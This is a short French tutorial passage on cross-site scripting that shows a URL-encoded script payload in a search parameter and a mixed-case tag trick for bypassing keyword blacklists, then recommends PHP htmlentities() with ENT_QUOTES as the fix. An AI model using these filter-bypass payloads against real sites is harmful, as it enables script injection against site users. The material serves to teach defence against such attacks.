www.site/xss/search?p=%3c%73%63%72%69%70%74%3e%20%28%22%53%61%6c%75%74%22%29%3b%20%3c%2f%20%73%63%72%69%70%74%3e

8.1.3. Obfuscation :

cette méthode est la plus faible, elle consiste à interdire les mots qui sont souvent utilisés dans les scriptes XSS (script, alert ,...etc) si par exemple les mot script, alert sont interdit,donc  ce cas on va réécrire le script de la manière suivante:

<ScRipT>AleRt("XSS Hacking");</ScRipT>

8.2. La solution la plus sécurisé :

Nous utilisons la fonction htmlentities() avec deux arguments :
- Le premier sera votre variable
- le second est ENT_QUOTES, pour transformer les quottes en « &quot; » et donc interdire les guillemets.

Exemple :
Code : PHP
$texte = htmlentities($_POST[‘texte’],ENT_QUOTES);

cas pratique:
voire ce video